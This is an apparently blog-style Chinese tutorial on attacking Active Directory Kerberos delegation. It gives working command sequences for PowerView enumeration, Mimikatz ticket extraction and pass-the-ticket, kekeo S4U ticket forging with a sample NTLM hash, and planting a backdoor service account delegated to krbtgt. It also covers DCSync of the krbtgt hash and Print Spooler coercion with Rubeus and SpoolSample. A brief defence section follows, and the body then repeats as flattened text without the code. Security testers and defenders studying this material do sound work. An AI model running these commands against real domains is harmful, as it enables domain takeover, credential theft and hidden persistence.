Attacking Kerberos Delegation
字数 1650 2025-08-27 12:33:30

Kerberos委派攻击技术详解

1. Kerberos委派概述

Kerberos委派是Active Directory中的一项功能,允许服务代表用户访问其他服务。委派分为两种类型:

  1. 非受限委派(Unconstrained Delegation):服务可以代表用户访问任何其他服务
  2. 受限委派(Constrained Delegation):服务只能代表用户访问特定的服务

2. 委派配置识别

2.1 识别非受限委派账户

使用PowerView工具识别非受限委派账户:

# 识别非受限委派的用户账户
Get-NetUser -Unconstrained -Domain lab.local

# 识别非受限委派的主机账户
Get-NetComputer -Unconstrained -Domain lab.local

2.2 识别受限委派账户

# 识别受限委派的用户账户
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl

# 识别受限委派的主机账户
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl

3. 非受限委派攻击

3.1 攻击原理

当服务配置了非受限委派时,它可以缓存用户的TGT票据。攻击者可以提取这些TGT,然后进行票据传递(Pass-the-Ticket)攻击。

3.2 攻击步骤

  1. 在配置了非受限委派的服务主机上,使用Mimikatz提取内存中的票据:
mimikatz.exe "privilege::debug" "sekurlsa::ticket /export"
  1. 将获取的TGT票据注入攻击者当前会话:
mimikatz.exe "kerberos::ptt [导出的TGT票据文件]"
  1. 使用klist验证票据是否成功注入:
klist
  1. 利用注入的票据访问域控或其他资源:
dir \\DC2.lab.local\C$
Enter-PSSession -ComputerName DC2.lab.local

4. 受限委派攻击

4.1 攻击原理

当服务配置了受限委派时,攻击者可以利用服务账户的凭据(明文密码或NTLM Hash)伪造TGT,然后通过S4U扩展协议获取特定服务的TGS。

4.2 攻击步骤

  1. 使用kekeo获取服务账户的TGT:
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /password:Passw0rd"

或使用NTLM Hash:

kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86"
  1. 使用S4U扩展协议获取目标服务的TGS:
kekeo.exe "tgs::s4u /tgt:TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:cifs/DESKTOP-WIN10.lab.local"
  1. 使用Mimikatz将TGS注入当前会话:
mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_cifs~DESKTOP-WIN10.lab.local@LAB.LOCAL.kirbi"
  1. 访问目标服务:
dir \\DESKTOP-WIN10.lab.local\C$

5. 变种黄金票据攻击

5.1 攻击原理

利用受限委派账户向KDC自身申请一张域管理员访问krbtgt服务的票据,即TGT。

注意:此攻击在Windows Server 2012及更高版本的域环境中可能不适用。

5.2 攻击步骤

  1. 创建后门服务账户并配置委派:
New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName backdoor_svc@dlive.com -ServicePrincipalNames "backdoor/backdoor.dlive.com" -AccountPassword (convertto-securestring "Dubhe@1234" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount

$user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/DLIVE.COM") }
Set-ADAccountControl $user -TrustedToAuthForDelegation $true
  1. 获取服务账户的TGT:
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234"
  1. 获取域管理员访问krbtgt服务的TGS(TGT):
kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@DLIVE.COM_krbtgt~dlive.com@DLIVE.COM.kirbi /user:Administrator@dlive.com /service:krbtgt/DLIVE.COM"
  1. 注入票据并访问域控:
mimikatz.exe "kerberos::ptt TGS_Administrator@dlive.com@DLIVE.COM_krbtgt~DLIVE.COM@DLIVE.COM.kirbi"
klist
dir \\DC1.dlive.com\C$

6. 受限委派+DCSync攻击

6.1 攻击原理

利用受限委派获取ldap服务的票据,然后进行DCSync攻击获取krbtgt账户的Hash。

6.2 攻击步骤

  1. 配置后门服务账户的委派:
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/DC2.lab.local") }
  1. 获取服务账户的TGT:
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234"
  1. 获取域管理员访问ldap服务的TGS:
kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:ldap/DC2.lab.local"
  1. 注入票据并执行DCSync:
mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_ldap~DC2.lab.local@LAB.LOCAL.kirbi"
mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local"

7. 非受限委派+Print Spooler攻击

7.1 攻击原理

利用Print Spooler服务的漏洞强制域控访问配置了非受限委派的主机,从而获取域控主机账户的TGT。

7.2 攻击步骤

  1. 在非受限委派主机上启动Rubeus监听:
Rubeus.exe monitor /interval:5 /filteruser:DC2$
  1. 强制域控Print Spooler服务访问非受限委派主机:
SpoolSample_v4.5_x64..exe DC2 DESKTOP-WIN10
  1. 从Rubeus输出中获取域控主机账户的TGT。

8. 防御措施

  1. 禁用不必要的委派:仅为确实需要委派的服务账户启用委派
  2. 使用受保护的用户组(Windows Server 2012 R2及更高版本):
    • 成员无法使用NTLM认证
    • 无法使用DES或RC4加密套件进行Kerberos预认证
    • 无法被非受限或受限委派
    • 用户票据(TGT)的初始生命周期限制为4小时
  3. 实施最小权限原则:域管理员等高权限账户不应配置委派
  4. 监控委派配置变更:审计对msDS-AllowedToDelegateTo属性的修改
  5. 禁用不必要的服务:如Print Spooler服务

9. 工具列表

  1. PowerView:用于枚举委派配置
  2. Mimikatz:用于提取和注入Kerberos票据
  3. kekeo:用于执行Kerberos协议操作
  4. Rubeus:替代kekeo的C#工具,提供更多功能
  5. SpoolSample:利用Print Spooler服务的工具

10. 参考资源

  1. 无约束委派攻击
  2. 约束委派相关协议
  3. 基于域委派的变种黄金票据
  4. Blackhat US 2015 - Active Directory攻击技术
  5. Blackhat Asia 2017 - Kerberos委派攻击
  6. Print Spooler攻击技术
  7. 受保护的用户组
Kerberos委派攻击技术详解 1. Kerberos委派概述 Kerberos委派是Active Directory中的一项功能,允许服务代表用户访问其他服务。委派分为两种类型: 非受限委派(Unconstrained Delegation) :服务可以代表用户访问任何其他服务 受限委派(Constrained Delegation) :服务只能代表用户访问特定的服务 2. 委派配置识别 2.1 识别非受限委派账户 使用PowerView工具识别非受限委派账户: 2.2 识别受限委派账户 3. 非受限委派攻击 3.1 攻击原理 当服务配置了非受限委派时,它可以缓存用户的TGT票据。攻击者可以提取这些TGT,然后进行票据传递(Pass-the-Ticket)攻击。 3.2 攻击步骤 在配置了非受限委派的服务主机上,使用Mimikatz提取内存中的票据: 将获取的TGT票据注入攻击者当前会话: 使用klist验证票据是否成功注入: 利用注入的票据访问域控或其他资源: 4. 受限委派攻击 4.1 攻击原理 当服务配置了受限委派时,攻击者可以利用服务账户的凭据(明文密码或NTLM Hash)伪造TGT,然后通过S4U扩展协议获取特定服务的TGS。 4.2 攻击步骤 使用kekeo获取服务账户的TGT: 或使用NTLM Hash: 使用S4U扩展协议获取目标服务的TGS: 使用Mimikatz将TGS注入当前会话: 访问目标服务: 5. 变种黄金票据攻击 5.1 攻击原理 利用受限委派账户向KDC自身申请一张域管理员访问krbtgt服务的票据,即TGT。 注意 :此攻击在Windows Server 2012及更高版本的域环境中可能不适用。 5.2 攻击步骤 创建后门服务账户并配置委派: 获取服务账户的TGT: 获取域管理员访问krbtgt服务的TGS(TGT): 注入票据并访问域控: 6. 受限委派+DCSync攻击 6.1 攻击原理 利用受限委派获取ldap服务的票据,然后进行DCSync攻击获取krbtgt账户的Hash。 6.2 攻击步骤 配置后门服务账户的委派: 获取服务账户的TGT: 获取域管理员访问ldap服务的TGS: 注入票据并执行DCSync: 7. 非受限委派+Print Spooler攻击 7.1 攻击原理 利用Print Spooler服务的漏洞强制域控访问配置了非受限委派的主机,从而获取域控主机账户的TGT。 7.2 攻击步骤 在非受限委派主机上启动Rubeus监听: 强制域控Print Spooler服务访问非受限委派主机: 从Rubeus输出中获取域控主机账户的TGT。 8. 防御措施 禁用不必要的委派 :仅为确实需要委派的服务账户启用委派 使用受保护的用户组 (Windows Server 2012 R2及更高版本): 成员无法使用NTLM认证 无法使用DES或RC4加密套件进行Kerberos预认证 无法被非受限或受限委派 用户票据(TGT)的初始生命周期限制为4小时 实施最小权限原则 :域管理员等高权限账户不应配置委派 监控委派配置变更 :审计对msDS-AllowedToDelegateTo属性的修改 禁用不必要的服务 :如Print Spooler服务 9. 工具列表 PowerView :用于枚举委派配置 Mimikatz :用于提取和注入Kerberos票据 kekeo :用于执行Kerberos协议操作 Rubeus :替代kekeo的C#工具,提供更多功能 SpoolSample :利用Print Spooler服务的工具 10. 参考资源 无约束委派攻击 约束委派相关协议 基于域委派的变种黄金票据 Blackhat US 2015 - Active Directory攻击技术 Blackhat Asia 2017 - Kerberos委派攻击 Print Spooler攻击技术 受保护的用户组